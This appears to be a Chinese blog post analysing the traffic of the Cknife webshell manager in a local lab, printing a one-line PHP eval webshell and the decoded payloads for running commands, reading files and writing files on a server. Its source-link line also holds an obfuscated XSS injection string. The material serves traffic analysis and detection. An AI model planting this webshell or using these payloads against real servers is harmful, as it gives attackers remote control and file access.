zoukankan      html  css  js  c++  java
  • Cknife流量分析

    本文首发:https://<img src=1 onerror=u006cocu0061tion='jx61vx61script:x61lertx281x29'>testdemo

    0x01 环境

    <?php eval($_REQUEST['shell'] ?>
    

    0x02 命令执行

    执行命令结果如下图所示

    1549864408222

    POST的数据如下图所示

    1549864204478

    对POST的数据解码

    #shell
    @eval(base64_decode($_POST[action]));
    
    #action
    @ini_set("display_errors","0");
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    echo("->|");;
    $p=base64_decode($_POST["z1"]);
    $s=base64_decode($_POST["z2"]);
    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    $c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";
    $r="{$p} {$c}";
    @system($r." 2>&1",$ret);
    print ($ret!=0)?"ret={$ret}":"";;
    echo("|<-");
    die();
    
    #z1
    cmd
    
    #z2
    cd/d"C:wamp64www"&whoami&echo [S]&cd&echo [E]
    
    

    z2whoami经过cknife的组合再经过base64编码后的结果,cknife通过eval执行action中的代码,把POST的z1z2base64_decode解码,再把z1z2组合成$r,最后用system执行$r,打印执行结果。

    返回结果如下图所示

    1549865961339

    经过cknife的格式处理,返回的结果变成了上图的样子,->||<-中间的内容就是执行命令的结果

    0x03 文件下载

    POST的数据如下图所示

    1549866499136

    对POST的数据解码

    #shell
    @eval(base64_decode($_POST[action]));
    
    #action
    @ini_set("display_errors","0");
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    echo("->|");;
    $F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]);
    $fp=@fopen($F,"r");
    if(@fgetc($fp)){
    	@fclose($fp);
    	@readfile($F);
    }else
    {
    	echo("ERROR:// Can Not Read");
    };
    echo("|<-");
    die();
    
    #z1
    C:wamp64wwwindex.php
    

    z1是目标文件路径经过base64编码后的结果,cknife通过eval执行action中的代码,用base64_decode获取文件的路径,然后判断文件是否能够被读取,如果能够被读取,则用readfile()输出文件的内容,最后将输出的文件内容写入到本地文件中。

    返回结果如下图所示

    1549867166066

    有一点需要注意,cknife可能会将返回的所有内容输出到文件中,所以需要手动取出->||<-之间的内容,否则文件可能格式错误

    0x04 文件上传

    POST的数据如下图所示

    1549867720428

    对POST的数据解码

    #shell
    @eval(base64_decode($_POST[action]));
    
    #action
    @ini_set("display_errors","0");
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    echo("->|");;
    $f=base64_decode($_POST["z1"]);
    $c=$_POST["z2"];
    $c=str_replace("
    ","",$c);
    $c=str_replace("
    ","",$c);
    $buf="";
    for($i=0;$i<strlen($c);$i+=2)
    $buf.=urldecode("%".substr($c,$i,2));
    echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
    echo("|<-");
    die();
    
    #z1
    C:wamp64www	est.txt
    
    #z2
    this is a test
    

    z1是目标文件路径经过base64编码后的结果,z2是本地文件的内容经过hex编码后的结果,cknife通过eval执行action中的代码,用base64_decode先获取目标文件的路径,然后获取z2的内容,使用for循环将原来的hex编码转换为URL编码,再用urldecode进行解码,追加给$buffor循环结束后$buf就是文件的内容,最后写入目标文件中,写入成功返回1,写入失败返回0

    返回结果如下图所示

    1549868914718

    如果->||<-之间的内容为1,则代表文件上传成功

  • 相关阅读:
    《构建之法》读书笔记六
    《构建之法》读书笔记五
    《构建之法》读书笔记四
    《构建之法》读书笔记三
    《构建之法》读书笔记二
    《构建之法》读书笔记一
    开发mis系统需要的技术
    java异常处理
    多态
    动手动脑6
  • 原文地址:https://www.cnblogs.com/somata/p/11615680.html
Copyright © 2011-2022 走看看